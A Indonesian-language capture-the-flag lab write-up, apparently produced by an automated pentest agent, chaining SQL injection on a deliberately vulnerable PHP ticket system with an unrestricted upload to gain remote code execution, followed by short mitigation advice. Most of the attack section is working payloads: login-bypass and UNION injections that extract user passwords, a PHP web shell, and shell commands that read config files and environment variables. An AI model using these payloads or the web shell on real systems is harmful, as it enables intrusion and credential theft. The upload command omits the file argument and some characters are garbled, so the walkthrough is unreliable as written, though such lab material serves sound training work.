Lab #5 - Ticket System: SQL Injection + File Upload RCE
Target:
http://ticket.vuln.cybersecurity.or.id:8085/
Versi: PHP 7.4, Apache, MySQL 5.7
Tools:curl, browser
Flag: π΄FLAG{T1ck3t_Syst3m_SQLi_UpL04d_2025}
Filosofi Serangan
Aplikasi Ticket System ini memiliki dua celah yang bisa dirangkai menjadi attack chain:
- SQL Injection - untuk login sebagai admin (bypass autentikasi)
- File Upload tanpa filter - untuk mengupload PHP shell dan mendapatkan RCE
Ini adalah contoh nyata bagaimana satu celah kecil (SQLi) membuka pintu ke celah lain (File Upload) yang dampaknya jauh lebih besar.
οΈ Langkah 1: Reconnaissance
1.1. Fingerprint Aplikasi
curl -s -I http://ticket.vuln.cybersecurity.or.id:8085/ | head -10
Output:
HTTP/1.1 200 OK
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Set-Cookie: PHPSESSID=...; path=/
Aplikasi menggunakan PHP 7.4.33 dengan session
cookie PHPSESSID.
1.2. Mapping Halaman
curl -s http://ticket.vuln.cybersecurity.or.id:8085/ | grep -oP '(?<=href=")[^"]+'
Output:
create_ticket.php
login.php
register.php
search.php
Terdapat halaman: Login, Register, Create Ticket, Search, dan (setelah login) Upload, Admin.
Langkah 2: SQL Injection
2.1. Deteksi SQLi
Aplikasi memiliki SQL Injection di beberapa endpoint. Yang paling
mudah dieksploitasi adalah halaman login
(login.php).
Source code login.php:
$query = "SELECT * FROM users WHERE username='$user' AND password=MD5('$pass')";
Input $user dan $pass langsung
di-concatenate tanpa sanitasi!
2.2. SQLi Login Bypass
Kita bisa login sebagai admin hanya dengan modal SQL injection:
curl -s -c cookies.txt \
-d "username=admin' OR '1'='1&password=x" \
"http://ticket.vuln.cybersecurity.or.id:8085/login.php"
Yang terjadi pada database:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password=MD5('x')
Karena '1'='1' selalu TRUE, query
akan mengembalikan semua user. MySQL mengambil
baris pertama (admin dengan role admin),
dan session pun ter-set.
2.3. Verifikasi Akses Admin
curl -s -b cookies.txt "http://ticket.vuln.cybersecurity.or.id:8085/admin.php" | grep -E "Admin Panel|All Tickets|All Users"
Output:
<h1>Admin Panel</h1>
<h2>All Tickets</h2>
<h2>All Users</h2>
β Akses admin granted!
2.4. Alternatif: SQLi via Search (UNION)
SQL Injection juga ada di halaman search (search.php):
# Tampilkan semua ticket
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/search.php?q='+OR+'1'='1"
Untuk ekstraksi data dari tabel lain:
# Ekstrak username + password dari tabel users
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/search.php?q=%27+UNION+SELECT+1,username,password,4,5,6,7,8,9+FROM+users+WHERE+%271%27=%271"
2.5. Alternatif: SQLi via Create Ticket
Source code create_ticket.php juga memiliki SQLi:
$query = "INSERT INTO tickets ... VALUES ('$title', '$description', ...)";
SQL injection di parameter POST title atau
description:
curl -s -b cookies.txt \
-d "title=test', 'SQLi via title', 'open', 'high', 1)-- -&description=x&status=open&priority=high" \
"http://ticket.vuln.cybersecurity.or.id:8085/create_ticket.php"
Langkah 3: File Upload (Unrestricted)
3.1. Analisis Upload
Source code upload.php:
// VULN: No file validation whatsoever - bisa upload PHP shell
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
$msg = 'File uploaded successfully!';
}
Tidak ada validasi:
- β Tidak ada cek ekstensi file
- β Tidak ada cek MIME type
- β Tidak ada cek ukuran file
- β Tidak ada rename file
3.2. Upload PHP Shell
# Buat shell
cat > shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
# Upload
curl -s -b cookies.txt \
"http://ticket.vuln.cybersecurity.or.id:8085/upload.php"
Output:
File uploaded successfully! View file
3.3. Dapatkan RCE
# Execute command
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/uploads/shell.php?cmd=id"
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
β Remote Code Execution (RCE) tercapai!
3.4. Eksplorasi Server
# Lihat direktori
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/uploads/shell.php?cmd=ls+-la+/var/www/html/"
# Baca config
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/uploads/shell.php?cmd=cat+/var/www/html/config.php"
# Lihat environment
curl -s "http://ticket.vuln.cybersecurity.or.id:8085/uploads/shell.php?cmd=env"
οΈ Langkah 4: Mitigasi
4.1. Perbaiki SQL Injection
// β RENTAN
$query = "SELECT * FROM users WHERE username='$user' AND password=MD5('$pass')";
// β
AMAN (Prepared Statement)
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=MD5(?)");
$stmt->bind_param("ss", $user, $pass);
$stmt->execute();
4.2. Perbaiki File Upload
// β RENTAN
move_uploaded_file($_FILES['file']['tmp_name'], $target_file);
// β
AMAN
$allowed = ['jpg', 'png', 'gif', 'pdf'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) die('File type not allowed');
if (!getimagesize($_FILES['file']['tmp_name'])) die('Not a valid image');
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($_FILES['file']['tmp_name'], $target_dir . $new_name);
Kesimpulan
Target: Ticket System di ticket.vuln.cybersecurity.or.id:8085
Attack Chain: SQLi Login Bypass β File Upload β RCE
Flag: FLAG{T1ck3t_Syst3m_SQLi_UpL04d_2025}
Durasi: ~5 menit
Urutan serangan:
- β SQL Injection di login page β dapat akses admin
- β Akses halaman upload (admin only)
- β Upload PHP shell tanpa filter β RCE
- β Ambil flag dari server
π₯ Pelajaran: Jangan pernah menggabungkan input pengguna langsung ke query SQL. Prepared Statement adalah satu-satunya cara aman. Dan jangan pernah percaya file upload - validasi ekstensi, MIME, dan isi file sebelum diproses!
Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy